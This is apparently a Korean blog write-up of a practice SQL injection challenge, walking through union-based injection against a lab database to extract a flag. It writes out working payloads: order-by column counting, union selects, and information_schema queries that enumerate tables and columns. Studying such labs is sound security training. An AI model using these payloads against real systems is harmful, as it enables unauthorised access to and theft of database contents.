요약 및 힌트

데이터의 조회 결과가 몇건이건 한건만 보여지기에 든 생각으로 데이터를 모두 가지고오더라도 php 소스에서 첫 데이터만 화면에 표시하는 듯 하다. 그렇기 때문에 limit을 사용하여 데이터의 결과 순서를 변경했다.

 

만약 데이터들이 몇만건씩 있다면 limit 부분을 python으로 전송하여 데이터를 조회하는것도 좋은 방법일 듯 하다

 

참고로 SQL Injection1의 풀이는 6주차 정리에 있다.


문제 풀이

 

 

normaltic을 넣었을 때랑 1=1을 넣엇을 때 값이 같다.

'한개만 입력을 넣으니 동작을 하지 않는다. 

아무런 데이터를 넣어도 1개의 row는 존재하며 normaltic을 입력시 info에 데이터가 출력된다

 

예상되는 Back-End의 로직은 2가지

1. 테이블에서 id로 info만 조회하고 level, rank Point는 모두 화면에서 마스킹 고정

즉 테이블은 4개의 정보를 가지고 있는 것 처럼보이지만 실제로는 info 하나의 컬럼만 조회하고 있는 듯?

 

2. select '입력받은 id값', '****', '****', (select info from table where id = '입력받은 id값') from dual

 

1번 케이스가 더 의심간다...

일단 order by로 선행 select의 컬럼이 몇개 존재하는지 확인하보자

normaltic' order by 1 #

 

order by 7에서 데이터 조회가 안되므로 선행 컬럼은 총 6개

 

이제 어느 컬럼이 화면에 표기되는지 union으로 잡아보자

 

normaltic' union select 1,2,3,4,5,6 from dual #

 

어라 union을 해도 아래 데이터가 붙어나오진 않는다....

 

db에서 가지고 온 데이터를 화면에서 뿌릴때 인덱스(배열의 인덱스) 0번만 가져오는거 같다... 그렇다면  없는 데이터를 union으로 넘긴다면 내가 넘긴 데이터를 조회 할 수 있을 것이다.

빙고 배열의 가장 처음데이터가 내가 넣은 데이터다.

info는 6번째 컬럼에 있다는 걸 알았다.

 

이제 DB, Table, COLUMN을 찾아보자

123' union select 1,2,3,4,5,database() from dual #

 

 

이제 테이블 찾기가 노가다일것 같다.... limit 1,1 , limit 2,1 이런식으로 찾아도 되고...

생각해보니 테이블생성일시에 대한 컬럼이 있을 것 같다.

 

create_time이 있다.

기본 mysql테이블보다 늦게 생성되었을 태니 역순 정렬하면 될듯 하다

union과 order by를 같이 쓰려면 서브쿼리로 써야한다.... 서브쿼리는 쓸 수 없으니 count로 총 테이블의 개수를 찾고 limit으로 거꾸로 찾아가보자

 

123' union select 1,2,3,4,5, count(TABLE_NAME) from information_schema.TABLES  #

총 64개의 테이블이 있다.

limit 60, 1부터 늘려가보자

 

123' union select 1,2,3,4,5, TABLE_NAME from information_schema.TABLES  limit 60, 1#

유효해보이는 테이블을 찾았다. 컬럼명들을 찾아보자

 

 123' union select 1,2,3,4,5, COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA = 'sqli_5'and TABLE_NAME = 'flag_honey' #

 

flag_honey 테이블에서 flag 컬럼을 가져오자

 

 

이 테이블이 아닌가보다 count결과 1개의 데이터만 존재하기 때문이다.

 

다른 테이블을 찾아보니 secret이라는 이름의 테이블이 존재한다. 컬럼을 찾아보자

여기도 플래그라는 컬럼이 존재한다.

 

 

총 데이터가 몇개 존재할까?

2개

그렇다면 2번째 데이터에는 정답이 있지 않을까?

 

 

빙고!

 


 

+ Recent posts